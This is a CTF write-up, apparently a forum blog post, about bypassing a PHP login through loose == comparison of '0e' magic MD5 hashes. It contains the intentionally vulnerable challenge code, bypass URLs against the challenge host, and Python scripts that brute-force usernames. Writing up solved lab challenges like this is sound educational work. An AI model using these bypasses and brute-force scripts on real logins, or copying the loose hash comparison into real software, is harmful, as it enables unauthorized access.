Writeup on Garage4Hackers Xmas / Dec Web Challenge 2014
by , 12-10-2014 at 08:18 PM (0 Views)
Ho Ho Ho, Xmas challenge ended. This challenge was all about of bypassing login authentication. Obviously, it was funny challenge!! And the obvious reason was password md5 hash. A footnote was there in source code.
Garage4Hackers Xmass Challenge is developed into PHP and it available to download for learning purpose.Code:<!-- We are so generous, see we provided you password hash to login :) 0e100132199235687421930375421091 if(0e100132199235687421930375421091 == md5($_GET['pass'])) { // Simple PHP CODE Logic } ?> -->
Just a quick note: If you want to join G4H CTF team, then you PM me and checkout our last month Ranchoddas event![]()
And I'm back to business, The main purpose of the CTF is to understand the PHP equal to (==) operator for comparing and even you can study strcmp function. If a developer uses equal to (==) operator without measuring the risk, then it can be profitable for attacker. However, attack can be carried in rare cases only. we've received some expected result and some unexpected results but at the end both are results![]()
There was 4k + unique Hits on the CTF page in 24 Hrs, only few submission we've valid received.
Following is list of ninja, who solved the challenge in the time.
There was three way to solve this CTF and expected way to solve the challenge is to bypass authentication by using PHP equal to (==) operator. Brute forcing username is second easy way to solve the challenge and last way was monkey testing. ( Just kiddingCode:jinmo123 - Good Solution but not expected tlk ( https://twitter.com/tlk___ ) - Nice Solution, but Not expected stypr (https://stypr.com) - W00tt , expected solution Ajin Abraham - Nice Solution, but Not expected sagar popat - Nice Solution, but Not expected Sharath Unni - W00tt , expected solution)
PHP CTF Code:
Here is some story about PHP operator and expected Behavior of PHP equal to operator.Code:<?php error_reporting(0); $a = htmlentities($_GET['username']); $c = htmlentities($_GET['password']); $b = md5($c); if (!empty($a) AND !empty($b)) { // empty function made this CTF more easy if ("0e100132199235687421930375421091" == $b) { // vulnerable line if ($b ==="0e100132199235687421930375421091") { // To Avoiding some bugs and change behavior of CTF if ("133E-1337" === $a) {// To Avoiding some bugs and change behavior of CTF print "Flag : Garage4H4x0rFlagPhpFlag1337"; }else{ print "umm!! nice try dude :), oops! you don't know username"; } }else{ if ($a ==="0e100132199235687421930375421091") {// To Avoiding some bugs and change behavior of CTF print "umm!! nice try dude :), oops! "; }else{ if ("133E-1337" == $a) { // vulnerable line print "Flag : Garage4H4x0rFlagPhpFlag1337"; }else{ Print "Wrong Username"; } } } }else{ Print "wrong Password"; } } ?>
Code:Input | Output ------------------------- "0" == "0" | True "1" == "0" | False -------------------------
Unexpected Behavior of PHP equal to operator.
In detailed :Code:Input | Output ------------------------- "0e1" == "0" | True -------------------------
PHP consider it as scientific notation 0e1 = 0 * 10 ^ 1 and ANS is 0
Code:<?php var_dump("0e1" == 0); ?>Here is the fun start, this is just plain text comparison and check out the following MD5 Hash, and most of developer use it as passwords.Code:Finding entry points Branch analysis from position: 0 Return found filename: /in/Pvj4s function name: (null) number of ops: 4 compiled vars: none line # * op fetch ext return operands --------------------------------------------------------------------------------- 2 0 > IS_EQUAL ~0 '0e1', 0 1 SEND_VAL ~0 2 DO_FCALL 1 'var_dump' 3 > RETURN 1
Another string :Code:var_dump(0e100132199235687421930375421091 == md5(urldecode('%02%a27%84'))); bool(true) // w00t :)// Submission by Beched (@ahack_ru)Code:'\x98-\xde\x1f'
try here : http://3v4l.org/NK5hp
In our check was too simple to bypass, because we haven't put quotes around the hash. It made it to be integer, which causes expression to be true with any hash, which does not start with [1-9].
Here is bypass if we use quote around hash:
Try here : http://3v4l.org/M9dpYCode:php > var_dump('0e100132199235687421930375421091'==md5("\x0e\xd7\xb6\xea")); // Submission by Beched (@ahack_ru) bool(true)
Here is another simple example, which can be found on the internet.
While testing this CTF there is MD5 collision found by Sharath UnniCode:http://3v4l.org/2vrMi
Both these hashes have the same plaintext equivalent: 26177715789 , you can decrypt MD5 hereCode:0e100132199235687421930375421091 (Found in HTML source code ) 0e104142395260374396839196939683 (MD5 collision ).Code:http://www.md5online.org/
This was all about PHP Equal operator, now what is solution of this CTF.
Here is solution and you find many more ways:
Code:http://162.208.48.16/?username=0e57640477961333848717747276704&password=BRTKUJZ&submit=Login&debug=true http://162.208.48.16/?username=0e1&password=NOOPCJF&submit=Login&debug=true http://162.208.48.16/?username=0e2&password=26177715789&submit=Login&debug=true
Submission by jinmo123
Submission by tlk ( https://twitter.com/tlk___ )Code:http://162.208.48.16/?username=000&password=240610708&submit=Login#
Brute Force Script:
Code:import requests s = requests.session() for i in range(255): r = s.get("http://162.208.48.16/?username="+chr(i)+"&password=QNKCDZO&submit=Login") print len(r.content), chr(i), i, "Wrong Username" in r.content We can see that only #, & and 0 not contains "Wrong Username". let's try to prepend '0' : r = s.get("http://162.208.48.16/?username=0"+chr(i)+"&password=QNKCDZO&submit=Login")Two Submission by stypr (https://stypr.com)Code:http://162.208.48.16/?username=0.0&password=QNKCDZO&submit=Login
Submission by Ajin AbrahamCode:http://162.208.48.16/?username=0e57640477961333848717747276704&password=BRTKUJZ&submit=Login&debug=true http://162.208.48.16/?username=0x00&password=BRTKUJZ&submit=Login&debug=true
Code:import urllib2 with open("10k most common.txt","r") as f: url='http://162.208.48.16/?username=[X]&password=26177715789' no=0 for line in f: turl=url.replace("[X]",line).replace("\n","").replace("\r","") response = urllib2.urlopen(turl) html = response.read() dat=html[:50] no+=1 log= str(no)+" Username: "+ line +"Response: "+ dat if ("Wrong" in log): print no else: print log response.close()Submission by Sagar PopatCode:URL:http://162.208.48.16/?username=-0&password=26177715789
Code:http://162.208.48.16/?username=00&password=26177715789&submit=Login
Submission by Sharath Unni
Thats all for todayCode:http://162.208.48.16/?username=0e12323&password=26177715789&submit=LoginThank you for reading .
- Categories
- Uncategorized